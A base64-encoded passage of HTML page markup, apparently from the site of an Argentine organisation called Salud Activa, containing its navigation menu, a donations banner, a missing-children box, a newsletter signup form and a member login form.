AsMjksMCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+CiAgICAgICAgPHBhcmFtIG5hbWU9Im1vdmllIiB2YWx1ZT0ic3dmL3N1Ym1lbnUuc3dmIiAvPgogICAgICAgIDxwYXJhbSBuYW1lPSJxdWFsaXR5IiB2YWx1ZT0iaGlnaCIgLz4KICAgICAgICA8ZW1iZWQgc3JjPSJzd2Yvc3VibWVudS5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+PC9lbWJlZD48L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgYmdjb2xvcj0iI0ZGRkZGRiI+CiAgICAgICAgPHRyPiAKICAgICAgICAgIDx0ZCB3aWR0aD0iMTciIHJvd3NwYW49IjciPjxwPiZuYnNwOzwvcD48L3RkPgogICAgICAgICAgPHRkIHdpZHRoPSIxNzIiIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxpbWcgc3JjPSJpbWcvM3B4LmpwZyIgd2lkdGg9IjUiIGhlaWdodD0iNSI+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciI+PGxpbmsgaHJlZj0iLi4vZXN0aWxvcy5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIC8+Cjxib2R5IGJnY29sb3I9IiNDQ0NDQ0MiIHRvcG1hcmdpbj0iNiBweCI+PHRhYmxlIHdpZHRoPSIxNjUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIzIiBiZ2NvbG9yPSIjRkZGRkZGIj4KPHRyPgogICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTkxIiBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiAgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MThfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+SG9tZTwvYT48L3RkPgogIDwvdHI+Cjx0cj4KICA8dGQgaGVpZ2h0PSIyOCIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj4mbmJzcDsmbmJzcDtOb3RpY2lhczwvYT48L3RkPgo8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJkb25hY2lvbmVzLyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJmb25kb2JvdG9uIj5Eb25hY2lvbmVzPC9hPjwvdGQ+CiAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciICB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yM19uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5IaXN0b3JpYWwgZGUgbmV3c2xldHRlcnM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTEzYSIgY2xhc3M9ImZvbmRvYm90b24iPkVudmlhciBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yNl9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5WZXIgdHJhYmFqb3MgZGUgdXN1YXJpb3M8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MTZfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+U2FsdWQgQWN0aXZhIHByZW5zYTwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJtYWlsdG86c2FsdWRhY3RpdmFAc2FsdWRhY3RpdmEub3JnLmFyIiBjbGFzcz0iZm9uZG9ib3RvbiI+TWFuZCZhYWN1dGU7IHR1IEMuVi48L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgIHdpZHRoPSI2ImhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTIxX25ldyIgY2xhc3M9ImZvbmRvYm90b24iPkluZm9ybWFjaSZvYWN1dGU7biBkZSBpbnRlciZlYWN1dGU7czwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyI+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiBoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xMF80IiBjbGFzcz0iZm9uZG9ib3RvbiI+Q29uZ3Jlc29zCiAgICAgICAgICAgICAgICAgIHkgSm9ybmFkYXM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTExIiBjbGFzcz0iZm9uZG9ib3RvbiI+UmVnaXN0cmFjaSZvYWN1dGU7bjwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgCiAgICAgICAgICA8L3RhYmxlPgo8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNSIgdGFyZ2V0PSJfYmxhbmsiPjxicj4KICAgICAgICAgICAgICAgICAgPGltZyBzcmM9ImltZy9iYW5uZXJfZG9uYWNpb25lcy5qcGciIHdpZHRoPSIxNjIiIGhlaWdodD0iMTIwIiBib3JkZXI9IjAiPjxicj4KICAgICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaW1nL2JvdG9uRm9yby5naWYiIHdpZHRoPSIxNzIiIGhlaWdodD0iMTE3IiBib3JkZXI9IjAiPjwvYT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTY3IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjkiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzAzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iOSIgLz48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTQ5IiBiYWNrZ3JvdW5kPSJpbWcvY2hpY29zX3BlcmRpZG9zXzA1LmdpZiI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDUuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMCI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDcuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMi5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEyLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9InNyYy9pbWdfdXAvMjMwODIwMTIuMS5qcGciIHdpZHRoPSIxNDkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMy5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNi5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iNSIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTcuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNy5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0ZFRTdDRiIgY2xhc3M9InRpdHVsb2hvbWU1Ij48c3Ryb25nPk5pJm50aWxkZTtvcyBwZXJkaWRvczxicj4KICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0yOSIgY2xhc3M9ImJvdG9uIj5bVmVyIG0mYWFjdXRlO3NdPC9hPjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTkuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xOS5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18yMC5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iMjUiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4NCgkJCQkNCgkJCQk8Zm9ybSBhY3Rpb249ImluZGV4LnBocD9pZD0xMSIgIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9penExLmpwZyIgd2lkdGg9IjEyIiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9hcnJpYmEuanBnIiB3aWR0aD0iMTQ2IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9kZXIxLmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiIgdmFsaWduPSJ0b3AiIGNsYXNzPSJyZWdGb25kbzEiPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9penEuanBnIiB3aWR0aD0iMTIiIGhlaWdodD0iMTIiIC8+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiI+PHRhYmxlIHdpZHRoPSI5NCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4NCiAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV90aXQuanBnIiB3aWR0aD0iNjYiIGhlaWdodD0iMjMiIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSI1MCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJyZWdpc3RyYXJzZSI+SW5ncmVzJmFhY3V0ZTsgDQogICAgICAgICAgICAgIHR1cyBkYXRvcyB5IHJlY2liJmlhY3V0ZTsgbGEgbWVqb3IgaW5mb3JtYWNpJm9hY3V0ZTtuIGEgdHJhdiZlYWN1dGU7cyANCiAgICAgICAgICAgICAgZGUgbnVlc3RybzxzdHJvbmc+IE5ld3NsZXR0ZXI8L3N0cm9uZz4uIDxzdHJvbmc+PHNwYW4gY2xhc3M9ImdyYXRpcyI+R3JhdGlzITwvc3Bhbj48L3N0cm9uZz48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI1IiB2YWxpZ249Im1pZGRsZSIgY2xhc3M9InRyYWJTRUNDSU9OIj5Ob21icmU8L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBjbGFzcz0icmVnQ0VMREEiPjxpbnB1dCBuYW1lPSJub21icmUiIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0ibm9tYnJlIiAvPjwvdGQ+DQogICAgICAgICAgPC90cj4NCiAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPHRkIGhlaWdodD0iMjUiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0idHJhYlNFQ0NJT04iPkFwZWxsaWRvPC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InJlZ0NFTERBIj48aW5wdXQgbmFtZT0iYXBlbGxpZG8iIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0iYXBlbGxpZG8iIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSIyNSIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJ0cmFiU0VDQ0lPTiI+RS1tYWlsPC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InJlZ0NFTERBIj48aW5wdXQgbmFtZT0iZW1haWwiIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0iZW1haWwiIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InRyYWJTRUNDSU9OIj4mbmJzcDs8L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBjbGFzcz0idHJhYlNFQ0NJT04iPjxpbnB1dCB0eXBlPSJpbWFnZSIgc3JjPSJpbWcvcmVnaXN0cmF0ZV9ib3Rvbi5qcGciIHdpZHRoPSIxMTciIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgIDwvdGFibGU+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE0IiB2YWxpZ249InRvcCIgY2xhc3M9InJlZ0ZvbmRvMiI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2Rlci5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSIxNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTIiIGhlaWdodD0iMjQiPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9lc3FfaXpxMi5qcGciIHdpZHRoPSIxMiIgaGVpZ2h0PSIyNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI0Ij48aW1nIHNyYz0iaW1nL3JlZ2lzdHJhdGVfYWJham8uanBnIiB3aWR0aD0iMTQ2IiBoZWlnaHQ9IjI0IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9lc3FfZGVyMi5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSIyNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KCQkJCQkNCgkJCQkJPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgPC90YWJsZT4NCjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPiAKICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTcwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMyIgY2xhc3M9ImJvcmRlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCA+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUyIj4KCQkJCQkJCQkJCQkJCQkJCTwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9jbGF1ZGlhMl8wMy5qcGciIHdpZHRoPSIxNzQiIGhlaWdodD0iMjUwIiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICA8dGQgcm93c3Bhbj0iNyIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nLzV4NS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjciPjwvdGQ+CiAgICAgICAgICA8dGQgY29sc3Bhbj0iMiIgcm93c3Bhbj0iNCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSJsb2dpbi5waHAiIG1ldGhvZD0icG9zdCIgbmFtZT0iZm9ybTIiPgoKICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgY29sc3Bhbj0iMiIgYWxpZ249ImxlZnQiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0iY29udGVuaWRvIiA+IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3Ryb25nPlVzdWFyaW8gbm8gcmVnaXN0cmFkbzwvc3Ryb25nPiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb250PiA8L3N0cm9uZz4gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDkiIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJjb250ZW5pZG8iPlVzdWFyaW8mbmJzcDsmbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzOSIgdmFsaWduPSJtaWRkbGUiPjxpbnB1dCBuYW1lPSJ1c3VhcmlvIiB0eXBlPSJ0ZXh0IiBjbGFzcz0icmVnIiBpZD0idXN1YXJpbyIgc2l6ZT0iNyI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjciIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJjb250ZW5pZG8iPkNvbnRyYXNlJm50aWxkZTthJm5ic3A7Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzkiIHZhbGlnbj0ibWlkZGxlIj48aW5wdXQgbmFtZT0icGFzcyIgdHlwZT0icGFzc3dvcmQiIGNsYXNzPSJyZWciIGlkPSJwYXNzIiBzaXplPSI3Ij48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MiIgYWxpZ249InJpZ2h0IiB2YWxpZ249Im1pZGRsZSIgY2xhc3M9ImJvdG9uIj48aW5wdXQgdHlwZT0iaW1hZ2UiIHNyYz0iaW1nL3JlZy5qcGciIHdpZHRoPSI1OCIgaGVpZ2h0PSIzMCI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjciIGhlaWdodD0iMTkiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgPjxhIGhyZWY9Imh0dHA6Ly93d3cuZmFjZWJvb2suY29tL2hvbWUucGhwPyMhL3BhZ2VzL01lcmxvLUFyZ2VudGluYS9TQUxVRC1BQ1RJVkEvMTAwNTgzNTQzMzE3MzIyP3JlZj10cyZhamF4cGlwZT0xJl9fYT03IiB0YXJnZXQ9Il9ibGFuayI+PGltZyBzcmM9ImltZy9mYWNlYm9vay5qcGciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgYm9yZGVyPSIwIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzExIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48ZGl2IGFsaWduPSJsZWZ0Ij48YSBocmVmPSJodHRwOi8vdHdpdHRlci5jb20vU2FsdWRBY3RpdmFPTkciIHRhcmdldD0iX2JsYW5rIj48aW1nIHNyYz0iaW1nL3R3aXRlci5qcGciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgYm9yZGVyPSIwIj48L2E+PC9kaXY+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSI1IiBhbGlnbj0icmlnaHQiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0iY29udGVuaWRvIj48bGFiZWw+PGZvbnQgc2l6ZT0iLTYiPlNpCiAgICAgICAgICAgICAgICAgICAgICAgdG9kYXYmaWFjdXRlO2Egbm8gZXMgdXN1YXJpbyA8L2ZvbnQ+IDxhIGhyZWY9ImluZGV4LnBocD9pZD0xMSIgY2xhc3M9ImJvdG9uIj48Zm9udCBzaXplPSItNiI+cmV